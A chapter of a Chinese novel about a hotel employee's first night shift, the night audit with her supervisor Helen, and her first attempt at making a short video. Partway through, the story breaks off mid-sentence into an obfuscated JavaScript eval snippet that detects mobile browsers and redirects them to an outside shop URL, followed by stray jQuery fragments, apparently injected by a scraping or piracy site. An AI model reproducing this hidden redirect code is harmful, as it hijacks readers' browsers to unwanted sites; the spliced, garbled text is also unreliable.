晚上九点，林深准时到岗。今天是第一个夜班，Helen已经到了，电脑开着，桌上放着几份报表。林深刚把包放下，Helen就抬头。
“过来。”
“又怎么了？”
“夜审。”
林深看了一眼时间。
“现在？”
“废话。”
Helen把位置让出来。
“十二点前做完。”
林深坐下，熟练地打开系统。这些东西她其实已经学了一段时间，北京之前就在学，升主管之前也在学，只是以前总觉得是在帮Helen，现在才慢慢发现，这些东西以后都要自己做。Helen坐在旁边。
“昨天收入核了吗？”
“核了。”
“挂账呢？”
“看了。”
“VIP名单。”
“也看了。”
Helen点点头。
“继续。”
电脑屏幕亮着，房态、收入、挂账、预抵、预离，各种数据密密麻麻挤在一起。林深一边操作一边核对，Helen偶尔看一眼。
“这里。”
“哦。”
“这个重新跑。”
“知道。”
“这里数字不对。”
“我看看。”
整个过程不像教学，更像检查作业。
十点半的时候，大堂来了一波入住，两个人又回到前台。忙完已经快十一点，Helen看了眼时间。
“继续。”
林深重新坐回电脑前。十一点四十五，最后一份报表打印出来，Helen拿过去翻了一遍，点头。
“行。”
“完了？”
“完了。”
林深有点意外。
“就这样？”
Helen看她一眼。
“主管工作又不是什么武功秘籍。”
林深笑了。
“我以为很复杂。”
“复杂的是客人。”
“也是。”
十一点五十八，Helen把最后一个文件夹收进抽屉，整个夜审结束。十二点整，日期跳过去，酒店进入新的一天，大堂也忽然安静下来。
凌晨一点，最后几个晚归的客人回房。凌晨两点，保安坐在监控室看监控，前台亮着灯，除此之外什么都没有。Helen开始做自己的事情，林深靠在椅子上发呆。夜班最神奇的地方就在这里——前半夜忙得脚不沾地，后半夜时间多得不知道怎么花。
她拿起手机。微信没消息，工作群安静得像死了一样，连Jessica都没出现。她往下翻，宋青瓷的聊天框停在前几天——主管什么时候请客？排队。好。结束。林深看了一眼，退出来。朋友圈刷了几条，又关掉。然后打开短视频，一条，两条，三条，美食，旅游，开箱，探店，一个接一个。Helen忽然抬头。
“看什么？”
“视频。”
“好看吗？”
“不知道。”
“那你看这么久。”
林深笑了一下。
“习惯。”
Helen继续低头看电脑。林深又刷了几条，忽然停住。一个探店视频，画面很简单，手机拍的，字幕也很普通，点赞却很多。她看完以后愣了一下，然后重新点开，又看一遍，第三遍。Helen察觉到她没继续往下刷。
“怎么了？”
“没什么。”
“说。”
林深盯着手机。
“我觉得这东西不难。”
Helen头都没抬。
“那你做。”
林深笑了。
“做就做。”
说完以后，两个人都没再继续这个话题，像随口说了一句天气。
凌晨三点，大堂安静得只剩空调声。林深
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784768|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下载软件，注册账号，研究字幕，研究配乐，研究剪辑，每个页面都要点半天。她本来以为很简单，结果研究一个小时以后，什么都没做出来。Helen中途路过去接水，看见她还在折腾。
“做出来了？”
“没有。”
“那你研究什么？”
“学习。”
Helen点点头。
“学会了吗？”
“没有。”
Helen笑了一声。
“继续。”
凌晨四点，一个视频还没剪完，林深已经开始怀疑人生。她忽然发现，那些看起来只有几十秒的视频，背后居然这么麻烦——剪辑，字幕，音乐，封面，每一样都要弄。她对着手机折腾半天，最后只做出一个半成品，丑得惨不忍睹。凌晨五点，她看了一眼，没删，存进草稿箱，继续研究。
凌晨六点半，一个客人下来退房，办理完手续以后，大堂又恢复安静。天开始慢慢亮起来，玻璃门外已经能看见晨光。七点多，早班陆续到岗，Helen开始交班，林深把手机收起来，重新回到工作状态。交班结束，两个人一起往员工通道走。Helen抱着文件，忽然问。
“做出来了吗？”
“没有。”
“那你一晚上干什么了。”
“学习。”
Helen点头。
“学会了吗？”
林深认真想了想。
“没有。”
Helen笑出了声。
“那明天继续。”
两个人走出酒店，上海的早高峰已经开始，路边全是赶着上班的人。林深站在地铁口，低头看了一眼手机。那个乱七八糟的半成品视频还躺在草稿箱里，没人点赞，没人评论，甚至没人看过。Helen不知道，Tom不知道，宋青瓷不知道，连林深自己都不知道。她只是觉得夜班太长了，想找点事情打发时间。仅此而已。